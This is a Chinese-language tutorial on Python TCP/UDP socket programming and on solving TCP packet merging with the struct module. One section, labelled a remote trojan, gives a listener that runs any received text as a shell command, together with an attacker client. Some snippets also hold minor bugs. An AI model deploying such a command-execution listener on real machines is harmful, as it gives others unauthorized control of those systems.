套接字与粘包
套接字
Socket套接字,是应用层与TCP/IP协议族通信的中间软件抽象层,他是一组接口,把复杂的协议隐藏在接口后面,屏蔽了各个协议的通信细节,是的程序员无需关注协议本身,直接使用Socket提供的接口来进行不同主机间的进程的通信
套接字家族
基于文件类型的套接字:AF_UNIX,unix一切皆文件,基于文件的套接字调用的就是底层的文件系统来取数据,两个套接字进程运行在同一机器,可以通过访问同一个文件系统间完成通信
基于网络类型的套接字家族:AF_INEF(6),还有其他的一些地址家族。所有当中,AF_INEF是使用的最广的一个
套接字工作流程
TCP
服务器端先初始化Socket,然后和端口绑定,对端口进行监听,调用accept阻塞,等待客户端连接。
客户端初始化Socket,然后连接服务器,如果成功则两边的连接就建立起来了。客户端发送数据请求,服务端接收请求并处理,然后把回应数据发送给客户端,客户端读取数据,最后关闭链接
clinet
import socket
ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)## socket_family 可以是 AF_UNIX 或 AF_INET。socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。protocol 一般不填,默认值为 0。
ser.bind(('127.0.0.1',9999))#选端口不要选1000内的
ser.listen(5)#TCP监听5个请求
conn,client_addr = ser.accept()#被动接受TCP客户的连接,(阻塞式)等待连接的到来,连接句柄,客户端地址
print(conn,client_addr,sep='\n')
limit_data = conn.recv(1024)
print(limit_data.decode('utf-8'))
conn.send(limit_data.upper())
conn.close()
ser.close()
user
import socket
user = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
user.connect(('127.0.0.1',9999))
data = input('please input some words')
user.send(data.encode('utf-8'))
receive_data = user.recv(1024)
print(receive_data.decode('utf-8'))
user.close()
循环版
server
import socket
ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)## socket_family 可以是 AF_UNIX 或 AF_INET。socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。protocol 一般不填,默认值为 0。
ser.bind(('127.0.0.1',9999))#选端口不要选1000内的
ser.listen(5)#TCP监听5个请求
while 1:
conn,client_addr = ser.accept()
print(conn,client_addr,sep='\n')
while 1:
try:
from_client_data = conn.recv(1024)
print(from_client_data.decode('utf-8'))
conn.send(from_client_data.upper())
except:
break
conn.close()
phone.close()
user
import socket
user = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
user.connect(('127.0.0.1',9999))
while 1:
client_data = input('>>> ')
user.send(client_data.encode('utf-8'))
if client_data == 'q':
break
from_server_data = user.recv(1024)
print(from_server_data.decode('utf-8'))
user.close()
远程木马
目标端
import socket
import subprocess
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('127.0.0.1', 8080))
phone.listen(5)
while 1: # 循环连接客户端
conn, client_addr = phone.accept()
print(client_addr)
while 1:
try:
cmd = conn.recv(1024)
ret = subprocess.Popen(cmd.decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
correct_msg = ret.stdout.read()
error_msg = ret.stderr.read()
conn.send(correct_msg + error_msg)
except ConnectionResetError:
break
conn.close()
phone.close()
攻击端
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 买电话
phone.connect(('127.0.0.1', 8080)) # 与客户端建立连接, 拨号
while 1:
cmd = input('>>>')
phone.send(cmd.encode('utf-8'))
from_server_data = phone.recv(1024)
print(from_server_data.decode('gbk'))
phone.close() # 挂电话
UDP
服务端初始化socket,和端口绑定,recvfrom接收消息,消息包含消息内容和对方客户端的地址,回复消息时也要包含这个客户端的地址,发送,最后关闭连接
server
import socket
udp = socket.socket(type=socket.SOCK_DGRAM)
udp.bind(('127.0.0.1',9999))
msg,addr = udp.recvfrom(2048)
print(msg.decode('utf-8'))
udp.sendto('I get it.'.encode('utf-8'),addr)
udp.close()
user
import socket
ip_port = ('127.0.0.1',9999)
udp = socket.socket(type=socket.SOCK_DGRAM)
msg = input('>>>')
udp.sendto(msg.encode('utf-8'),ip_port)
back_msg,addr = udp.recvfrom(2048)
print(back_msg.decode('utf-8'),addr)
粘包
每个socket被创建后,都会分配两个缓冲区,输入和输出缓冲区,write\send并不是立即传输数据,而是把数据先写入缓冲区后再由TCP将数据从缓冲区发送到目标网络,一旦数据写入到缓冲区,函数就成功返回了,并不管后面发送的事情
TCP协议独立于write\send函数,数据可能刚被写进缓冲区就给发送出去,也可能再缓冲区不断积压,多次数据一次性发送到网络,这取决于当时的网络情况、当前线程是否空闲等因素,read\recv函数同理
I/O缓冲区的特性:
- I/O缓冲区在每个TCP套接字中单独存在;
- I/O缓冲区在创建套接字时自动生成;
- 即使关闭套接字也会继续传送输出缓冲区中遗留的数据;
- 关闭套接字将丢失输入缓冲区中的数据。
发生粘包的两种情况
- 接收方没有及时接收缓冲区的包,造成多个包接收(客户端发送一段数据,服务端只接收一小部分,下次发送时还是从缓冲区拿遗留下来的数据)
- 发送端等到缓冲区满才发送出去,造成粘包(发送数据时间间隔很短,数据也很小,就会合到一起)
粘包的解决方案
利用struct模块,把消息的长度这个数字转成固定长度的消息,这样,服务端接收固定长度消息,即把长度信息接收过来,解压后得到真实信息长度,再根据这个来确定接下来要接收多长的信息,这样能解决粘包问题
import struct # 将一个数字转化成等长度的bytes类型。
ret = struct.pack('i', 183346)
print(ret, type(ret), len(ret)) # 通过unpack反解回来
ret1 = struct.unpack('i',ret)[0]
print(ret1, type(ret1), len(ret1)) # 但是通过struct 处理不能处理太大
评论已关闭